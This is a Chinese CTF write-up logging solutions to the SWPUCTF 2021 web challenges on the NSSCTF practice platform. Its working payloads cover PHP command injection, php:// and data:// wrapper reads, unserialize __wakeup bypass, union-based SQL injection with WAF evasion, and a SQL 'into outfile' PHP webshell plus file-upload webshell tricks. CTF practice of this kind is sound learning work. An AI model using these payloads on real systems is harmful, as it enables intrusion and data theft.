【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)

新手小白,开启CTF刷题之路(持续更新)

此处主要在NSSCTF平台(NSSCTF | 在线CTF平台)上开展刷题

[SWPUCTF 2021 新生赛]gift_F12

环境打开如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第1张图片

根据题目提示,直接F12看源码

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第2张图片 flag get

 [SWPUCTF 2021 新生赛]easyrce

打开环境后,显示源码如下

审查源码可知,要求传入参数url,构造payload如下

http://node1.anna.nssctf.cn:28985/?url=ls

返回如下,无回显

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第3张图片

查询eval函数使用方法可知:eval — 把字符串作为PHP代码执行,因此需要在eval函数内构造包含系统函数的PHP语句,据此,构造payload 

http://node1.anna.nssctf.cn:28985/?url=system("ls");

测试结果

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第4张图片

现在就是找flag了,再次构造payload,利用Linux特性,使用;号并行执行命令开展测试,直至发现疑似flag的文件

http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;ls%22);

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第5张图片 构造payload查看flllllaaaaaaggggggg

http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;cat%20flllllaaaaaaggggggg%22);

 flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第6张图片

[SWPUCTF 2021 新生赛]PseudoProtocols

 打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第7张图片

根据题目PseudoProtocols,应该是采用伪协议读取hint.php,因此构造payload

http://node2.anna.nssctf.cn:28924/index.php?wllm=php://filter/read=convert.base64-encode/resource=./hint.php

执行回显如下:

出现的字符串丢进base64转码器解码,获得结果:

好家伙,还有一层,继续构造payload 

http://node2.anna.nssctf.cn:28924/index.php?wllm=test2222222222222.php

回显如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第8张图片

审查代码,发现要求传入参数a,且a通过file_get_contents函数值获取的值为I want flag时获得flag(注:file_get_contents函数 — 将整个文件读入一个字符串,使用语法为:file_get_contents(filename, include_path, context, start, max_length))。

那么,考虑使用PHP伪协议中的data协议传参(参考PHP伪协议_慕晨sekurlsa的博客-CSDN博客),因此构造payload如下:

http://node2.anna.nssctf.cn:28924/test2222222222222.php/?a=data://text/plain;base64,SSB3YW50IGZsYWc=

flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第9张图片

 [SWPUCTF 2021 新生赛]easy_md5

打开环境,代码如下:

审计代码,发现题目要求为,使用GET方式传入name参数,使用POST方式传入password参数,且两个参数值的md5值相等。

此题为典型的md5绕过,因此参考MD5绕过_H3rmesk1t的博客-CSDN博客

构造payload如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第10张图片

flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第11张图片

注,上个方法中,采用传入数组方式解题,因md5()函数在对数组进行编码时,会导致报错返回NULL值,故传参name[]=1和password[]=2使得两者md5值均为NULL。

方法二为采用科学计数法绕过。

PHP存在一种特性为,将科学计数法0e*****作为0计算,因此当两个参数经md5加密后,表现形式为0e开头时,两者即被认为相等,参考MD5 函数的绕过_md5绕过_菜菜zhao的博客-CSDN博客,分别构造payload如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第12张图片

执行后同样可以获得结果。

[SWPUCTF 2021 新生赛]easyupload1.0 

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第13张图片

尝试上传一句话木马:

虽然知道肯定不会这么简单,但,人嘛

果然啪啪打脸:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第14张图片

好吧,那就上个图片马,上传时使用BP抓包修改为PHP后缀试试:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第15张图片

然后提示文件太大了……

感到很淦,于是把前面写的一句话木马的后缀改成jpg,然后再来一次BP抓包修改试试:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第16张图片

提示上传成功:

那就蚁剑走一波咯:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第17张图片

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第18张图片

然后问题来了,这个flag报错(doge.jpg),淦哦。

此处有点蒙圈,不得已看了眼其他WP(参考[SWPUCTF 2021 新生赛]第一波放题(nssctf刷题)_葫芦娃42的博客-CSDN博客),好吧,那就再来一次BP。

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第19张图片

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第20张图片

终于flag get。

——20230808上午刷题——

[SWPUCTF 2021 新生赛]easyupload2.0

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第21张图片

偷懒一波,按照上一题的套路直接上一句话木马的jpg,然后用BP抓包修改【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第22张图片

果然不行……好吧,再想想办法

首先,测试了下不使用BP抓包修改的方法,看样子支持上传.jpg格式的文件

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第23张图片

尝试使用.htaccess方法绕过,那么,编辑下.htaccess文件

  
        SetHandler application/x-httpd-php  

 后缀先改为.jpg,然后上传时用BP抓包修改为.htaccess

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第24张图片

然而又提示这个……试了下.user.ini也同样如下,改文件头也不行,好吧,看来是过滤php了,这下咋办嘞……

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第25张图片

 可耻地搜索了下其他师傅的WP(参考nssctf web 入门(5)_许允er的博客-CSDN博客),好的……

BP抓包,后缀修改为.phtml 

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第26张图片

上传成功后,蚁剑走一波,连接成功

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第27张图片

flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第28张图片

[SWPUCTF 2021 新生赛]easyupload3.0

打开环境,emmm,试试和其他文件配合? 再看一眼服务器,Apache的,好吧,那就.htaccess走一波

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第29张图片

按照上一题试过的方法,成功get到flag

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第30张图片

 ——20230808下午刷题——

[SWPUCTF 2021 新生赛]include

打开环境,显示如下:

这果断又是伪协议了吧,构造payload如下

http://node1.anna.nssctf.cn:28714/?file=data://text/plain

回显如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第31张图片

再来一波伪协议,payload如下:

http://node1.anna.nssctf.cn:28714/?file=php://filter/read=convert.base64-encode/resource=./flag.php

 回显如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第32张图片字符串base64转码,flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第33张图片

[SWPUCTF 2021 新生赛]no_wakeup 

 打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第34张图片

emmm,点进???这个链接,出现源码:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第35张图片

审查代码得知,本题使用unserialize()函数对参数p进行反序列化,使得admin=user,passwd=123456,那么,构造payload试试

http://node1.anna.nssctf.cn:28987/class.php/?p=(O:2{s:4:%22user%22;s:6:%22123456%22};

果然可耻地失败鸟[摊手],还是要认真学习啊……看了眼题目,提示no_wakeup,再搜了搜unserial()函数的用法,emmm,果断百度了下绕过方法(参考https://www.cnblogs.com/zpchcbd/p/12091475.html__wakeup()绕过_v2ish1yan的博客-CSDN博客https://www.cnblogs.com/zpchcbd/p/12091475.html)得知这题利用的漏洞是当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)。

那么,根据文中的方法,写段小程序构造序列化的payload,

运行后,将得到的结果:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第36张图片构造payload为 

http://node2.anna.nssctf.cn:28566/class.php/?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}

需要注意的时,在HaHaHa后的值原本为2,要达到绕过wakeup的目的,需要把这个值改为比2大的数字,此处改为3,执行后flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第37张图片

[SWPUCTF 2021 新生赛]ez_unserialize

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第38张图片

啊这……看看网页源码吧




   ez_unserialize


    

咦?题目在哪捏?

咦?这不得走一波BP

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第39张图片

然后……想不出来应该要Disallow啥,就先删除了,Send to Repeater看下……

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第40张图片

嗯,啥都莫得[摊手]

好吧……遇事不决问CSDN,搜了搜,发现似乎是要用robots.txt(参考爬虫基础_urllib_urllib 爬虫_顽皮的橙子的博客-CSDN博客)

于是构造payload:

http://node1.anna.nssctf.cn:28475/robots.txt

还真跳出来点东西:

那么,看看这个PHP文件里头有啥:

admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

emmm,又是反序列化呀,那,沿着上一题的思路走起吧。

写一段小程序:

得到结果为

string(62) "O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}"

构造payload

http://node1.anna.nssctf.cn:28475/cl45s.php/?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}

需要注意的是,本题中不需要绕过wakeup(),因此无需更改wllm后的数值,得到flag

 [SWPUCTF 2021 新生赛]Do_you_know_http

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第41张图片

???一头雾水,本着遇事不决上BP的原则,抓包一波瞅瞅

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第42张图片好像也没啥呀……再一看文字,使用'WLLM' browser……似乎发现了华点,开个脑洞试试? 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第43张图片

 一顿forward之后居然真的有变化

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第44张图片

这个提示够明显了,X-Forwarded-For走起

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第45张图片

提示了个新文件secretttt.php,访问一波瞅瞅,于是flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第46张图片

[SWPUCTF 2021 新生赛]jicao

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第47张图片

审查带呀,要求以POST方式传参id=wllmNB,以GET方式传参json,且使得json经过json_decode()函数解码后=wllm,json_decode()函数是对JSON 格式的字符串进行解码,看了眼示例

// Declare a json string

$json = '{"geeks": 7551119}';

// Use json_decode() function to

// decode a string

$obj = json_decode($json);

// Display the value of json object

print $obj->{'geeks'};

?>

输出:

7551119

那么依葫芦画瓢,构造payload如下

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第48张图片

flag get 

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第49张图片

[SWPUCTF 2021 新生赛]babyrce

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第50张图片

审查代码,应该是要求传入参数,使得COOKIE:admin=1,BP抓包,添加COOKIE:admin=1试试

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第51张图片

回显如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第52张图片

查看新蹦出来的这个php文件,内容如下:

  

 审查代码,要求以GET方式传参url,且不得包含空格,否则显示nonono,先来波ls看下有啥好玩的

http://node2.anna.nssctf.cn:28176/rasalghul.php/?url=ls

 回显如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第53张图片

利用linux中;可用于并行执行命令特性,并且使用${IFS}代替空格,开启找flag之路,直到如下payload

/rasalghul.php/?url=cd${IFS}..;cd${IFS}..;cd${IFS}..;ls

发现了好玩的东西:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第54张图片

搓搓手,构造payload看下这个flllllaaaaaaggggggg里头是啥好玩的,payload如下:

http://node2.anna.nssctf.cn:28176/rasalghul.php/?url=cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flllllaaaaaaggggggg

 flag get

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第55张图片

 [SWPUCTF 2021 新生赛]caidao

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第56张图片

就一个简单粗暴的一句话木马……有点摸不着头脑,港真,我还尝试把背景图拔下来想看看是不是有其他提示……最后实在没整明白,看了眼WP,直接蚁剑连接完事[白眼]

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第57张图片

直接根目录下找到flag 

 

[SWPUCTF 2021 新生赛]easy_sql

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第58张图片

标题提示参数为wllm,尝试构造payload

http://node2.anna.nssctf.cn:28539/?wllm=1

显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第59张图片

 好玩的这不就来了,sqlmap走起(我好懒……)

python3 sqlmap.py -u http://node2.anna.nssctf.cn:28539/?wllm=1 --columns

执行后发现flag位置

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第60张图片

 再来一次

python3 sqlmap.py -u http://node2.anna.nssctf.cn:28539/?wllm=1 -C flag --dump

flag get

另一方法:直接写入一句话木马,然后蚁剑连接(参考NSSCTF | 在线CTF平台)

payload如下:

http://node2.anna.nssctf.cn:28539/?wllm=-1%27%20union%20select%201,2,%27%3C?php%20@eval($_POST[shell])?%3E%27%20into%20outfile%20%27/var/www/html/shell.php%27%23

然后蚁剑连接

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第61张图片

找一下数据库的用户名和密码

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第62张图片

然后创建连接到数据库

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第63张图片

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第64张图片

不知道为什么执行不了……那就……这样吧,不过思路是倒是第一次见,学习学习

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第65张图片

[SWPUCTF 2021 新生赛]error

 打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第66张图片

搞个1试试看,发现地址栏有变化

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第67张图片

依样画葫芦,sqlmap走起

python3 sqlmap.py -u http://node2.anna.nssctf.cn:28070/index.php?id=1 -C flag --dump

flag get 

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第68张图片
 [SWPUCTF 2021 新生赛]sql

 打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第69张图片

提示有WAF,感觉是个狠角色了呢,来个1测试一下 

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第70张图片

还是sqlmap试试看 

python3 sqlmap.py -u http://node1.anna.nssctf.cn:28569/?wllm=1 --dbs

等了半天sqlmap没扫出啥来,硬着头皮测试,发现似乎WAF规则限制了空格,于是用/**/代替空格,用%23代替#,终于在payload为如下时报错

http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/order/**/by/**/4%23

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第71张图片

那么老套路继续,构造payload如下判断回显位置: 

http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,2,3/**/%23

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第72张图片

构造payload查看库名:

http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,2,database()%23

回显如下: 

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第73张图片

构造payload打算查看里头都有什么表:

http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,(select/**/group_cancat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test_db',database()%23

然后!居然!

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第74张图片

感到很淦,不得已搜索了下WAF绕过姿势,学习学习……

在找到这篇https://dgrt.cn/a/2027509.html?action=onClick的时候,隐约想起好像有个=用like代替绕过的姿势,那么……试试?.

http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),database()%23

终于!我终于知道sqlmap为啥扫不出东西来了,表名用LTLT_flag,这谁遭得住啊

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第75张图片下一步就是查表里的内容 

http://node1.anna.nssctf.cn:28569/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

回显:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第76张图片

接着,查flag列里的内容

http://node1.anna.nssctf.cn:28461/?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23

回显了个这???喂,很不友好啊喂!

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第77张图片

实在遭不住了,再去找解决办法吧……根据这篇关于SQL报错注入数据输出显示不完全的问题_文大。的博客-CSDN博客,提示使用MID函数提取字符,那么,构造payload

http://node1.anna.nssctf.cn:28461/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23

 【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第78张图片

http://node1.anna.nssctf.cn:28461/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/tes
t_db.LTLT_flag%23

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第79张图片 拼接起来就是flag了

这题真的……别骂了,怪我学艺不精[叹气]

[SWPUCTF 2021 新生赛]babyunser(跪了)

打开环境,显示如下:

【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第80张图片

点击上传文件链接后传了个一句话马,结果???【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)_第81张图片

 好家伙,直接替换了是吧,不讲武德了嗷,脑子转不动了……今天到此为止,202308092253

 ——20230809——

昨天最后那题暂且放着……开启其他题目先碰碰运气

[SWPUCTF 2021 新生赛]hardrce(跪了)

打开环境我人就麻了……

','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这个blacklist是认真的吗???忍气吞声审查代码,其中的正则表达式说明要过滤掉一堆符号和字符……啊这……

没办法,姿势水平不够厚的结果就是只好乖乖开启搜索模式,然后发现这篇无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本) | 航行学园

emmm……好家伙还看不太懂,艰难啊艰难……

暂且放着……脑子转不过来,下一题……

[SWPUCTF 2021 新生赛]finalrce(跪了)

打开环境,显示如下:

|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

可以的可以的,又过滤一堆字符……

放着放着,后面再来……

[SWPUCTF 2021 新生赛]hardrce_3(跪了)
[SWPUCTF 2021 新生赛]pop(跪了)

你可能感兴趣的:(程序人生)